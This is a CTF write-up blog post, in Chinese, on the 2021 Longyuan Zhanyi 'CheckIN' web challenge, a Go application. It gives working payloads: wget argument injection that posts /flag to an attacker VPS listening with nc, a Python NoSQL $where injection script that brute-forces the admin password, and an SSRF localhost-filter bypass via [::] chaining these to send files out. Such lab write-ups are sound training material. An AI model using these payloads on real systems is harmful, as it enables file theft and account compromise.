

陇原战“疫”2021网络安全大赛 Web CheckIN

原创

Sk1y 于 2021-12-24 00:28:21 发布 2894 收藏 2

分类专栏: [陇原战疫2021复现](#) 文章标签: [安全](#) [Web CTF](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/RABCDXB/article/details/122119385>

版权



[陇原战疫2021复现](#) 专栏收录该内容

3 篇文章 0 订阅

订阅专栏

checkin

文章目录

[checkin](#)

[wget外带数据](#)

[分析官方wp](#)

[nosql注入](#)

[ssrf](#)

[参考链接](#)

参考链接: [利用命令注入外带数据的一些姿势_一个安全研究员-CSDN博客_smb外带注入](#)

题目有附件

514

 source.zip

下载, 是个go语言, 审计一下, 文件目录如下

```

148 } c.String(http.StatusOK, "Nothing")
149 }
150
151
152
153
154 func createMyRender() multitemplate.Renderer {
155     r := multitemplate.NewRenderer()
156     r.AddFromFiles("login", "templates/layouts/base.tmpl",
157     r.AddFromFiles("home", "templates/layouts/home.tmpl",
158     return r
159 }
160
161
162 func main() {
163     router := gin.Default()
164     router.Static("/static", "./static")
165
166     p, err := plugin.Open("sess_init.so")
167     if err != nil {
168         panic(err)
169     }
170
171     f, err := p.Lookup("Sessinit")
172     if err != nil {
173         panic(err)
174     }
175 }

```

注意wget

```

func getController(c *gin.Context) {
    cmd := exec.Command("/bin/wget", c.QueryArray("argv")[1:]...)
    err := cmd.Run()
    if err != nil {
        fmt.Println("error: ", err)
    }

    c.String(http.StatusOK, "Nothing")
}

```

还有

```

router.POST("/proxy", MiddleWare(), proxyController)
router.GET("/wget", getController)
router.POST("/login", loginController)

```

wget外带数据

根据上面的博客，可以执行命令wegt数据外带出来

```
wget?argv=1&argv=--post-file&argv=/flag&argv=http://vps:7777/
```

然后既可以得到flag

```
root@iZbp1485z7g0zfcyxzn0b4Z:~# nc -lvp 7777
Listening on [0.0.0.0] (family 0, port 7777)
Connection from 117.21.200.166 10568 received!
POST / HTTP/1.1
User-Agent: Wget/1.20.3 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 116.62.240.148:7777
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 43

flag{4e887355-180f-4fb4-ad77-07783d442cc6}
```

```
wget?argv=1&argv=-post-data&argv=/flag&argv=http://116.62.240.148:7777/
```

修改了配置-post-data 但是只是输出字符串罢了,我们传入的是/flag，那么它就返回我们/flag字符串

```
root@iZbp1485z7g0zfcyxzn0b4Z:~# nc -lvp 7777
Listening on [0.0.0.0] (family 0, port 7777)
Connection from 117.21.200.166 12280 received!
POST / HTTP/1.1
User-Agent: Wget/1.20.3 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 116.62.240.148:7777
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

/flag
```

分析官方wp

官方wp中添加了很多忽略的知识点

nosql注入

首先，源码中存在nosql注入，

```

defer conn.Close()
conn.SetMode(mgo.Monotonic, true)

db_table := conn.DB("ctf").C("users")
result := User{}
err = db_table.Find(bson.M{"$where": "function() {if(this.username == '"+username+"' && this.password == '"+password+"' ) {return true;}}"}).One(&result)

if result.Username == "" {
    c.Header("Content-Type", "text/html; charset=utf-8")
    c.String(200, "<script>alert('Login Failed!');window.location.href='/login'</script>")
    return
}

```

所以可以根据这个获取admin的密码，脚本如下：

1. 脚本中使用//将该行之后的代码进行注释，并且通过补全代码使得代码完整（有点废话了，肯定要完整，不然会报错的）
2. 代码中判断是否成功用的是 `Pretend` 字符串，根据源码，如果用户名名称和密码判断不正确，就会返回含有 `Pretend` 的字符串

```

if username == result.Username || password == result.Password {
    session.Set("username", username)
    session.Set("password", password)
    session.Save()
    c.Redirect(http.StatusFound, "/home")
    return
} else {
    c.Header("Content-Type", "text/html; charset=utf-8")
    c.String(200, "<script>alert('Pretend you logged in successfully');window.location.href='/login'</script>")
    return
}
}

```

爆破脚本

```

import requests

url = "http://47.117.125.220:8081/login"#自行修改

headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

strings = "1234567890abcdefghijklmnopqrstuvwxyz"

res = ""
#res 长度从0开始
for i in range(len(res) + 1, 40):
    if len(res) == i - 1:
        for c in strings:
            data = {
                #注意这个substr用的是-号，是反向读取密码的，反向逐个读取密码，然后对比
                "username": "admin'&&this.password.substr(-" + str(i) + ")==" + str(c + res) + "'" + " {return true"
                ;}})//",
                "password": "123456"
            }
            r = requests.post(url=url, headers=headers, data=data)
            if "Pretend" in r.text:
                res = c + res
                print("[+] " + res)
                break
            else:
                print("[-] Failed")
                break

```

反向读取密码，substr实验分析

```

Type "help", "copyright", "credits" or
>>> a= '123'
>>> b = a[-2]
>>> print(b)
2
>>>

```

```

[+] 4a83850073b0f4c6862d5a1d48ea84f
[+] 54a83850073b0f4c6862d5a1d48ea84f
[-] Failed

```

得到密码，登录，但是啥都没有，记录一下吧

Admin Home Page



© 2021 Evil Home Page. All rights reserved | Design by Test

ssrf

官方wp中还提到了/proxy路由存在ssrf

```

func proxyController(c *gin.Context) {

    var url Url
    if err := c.ShouldBindJSON(&url); err != nil {
        c.JSON(500, gin.H{"msg": err})
        return
    }

    re := regexp.MustCompile("127.0.0.1|0.0.0.0|06433|0x|0177|localhost|ffff")
    if re.MatchString(url.Url) {
        c.JSON(403, gin.H{"msg": "Url Forbidden"})
        return
    }

    client := &http.Client{Timeout: 2 * time.Second}

    resp, err := client.Get(url.Url)
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }
    defer resp.Body.Close()
    var buffer [512]byte
    result := bytes.NewBuffer(nil)
    for {
        n, err := resp.Body.Read(buffer[0:])
        result.Write(buffer[0:n])
        if err != nil && err == io.EOF {

            break
        } else if err != nil {
            c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
            return
        }
    }
    c.JSON(http.StatusOK, gin.H{"data": result.String()})
}

```

访问的时候可以通过 `[::]` 绕过对127.0.0.1的限制然后访问内网

并且wget路由可以用来发送请求（参数可控！！！！），那么就可以传入恶意的参数来获取服务器上文件并且外带出来，最终的payload（注意post发包改为application/json格式）

POST: /proxy

```

{"url": "http://[::]:8080/wget?argv=-e+http_proxy=http://47.xxx.xxx.220:2333&argv=-method=POST&argv=-body-file=/flag&argv=http://47.xxx.xxx.220:2333"}

```

```
1 POST /proxy HTTP/1.1
2 Host: 5155d4b5-addd-4a90-ba72-5e033d524d5a.node4.buuoj.cn:81
3 Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
7 Referer: http://5155d4b5-addd-4a90-ba72-5e033d524d5a.node4.buuoj.cn:81/login
8 Accept-Encoding: gzip, deflate
9 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
10 Cookie: UM_distinctid=17b0b724a4e985-028148d4df1504-7e687969-144000-17b0b724a4f270; mysession=MTY0MDI3NjA3MXxEdi1CQkFFQ180SUFBUkFCRUFBOVpmlLUNBQUlHYzNSeWFXNW5EQW%
11 Connection: close
12 Content-Type: application/json
13 Content-Length: 131

14 {
15   "url": "http://[::]:8080/wget?argv=-e+http_proxy=http://[::]:7777&argv=--method=POST&argv=--body-file=/flag&argv=http://[::]:7777"
16 }
```

参考链接

[利用命令注入外带数据的一些姿势_一个安全研究员-CSDN博客_smb外带注入](#)

[陇原战疫2021网络安全大赛 Web_feng的博客-CSDN博客](#)



[创作打卡挑战赛](#)

[赢取流量/现金/CSDN周边激励大奖](#)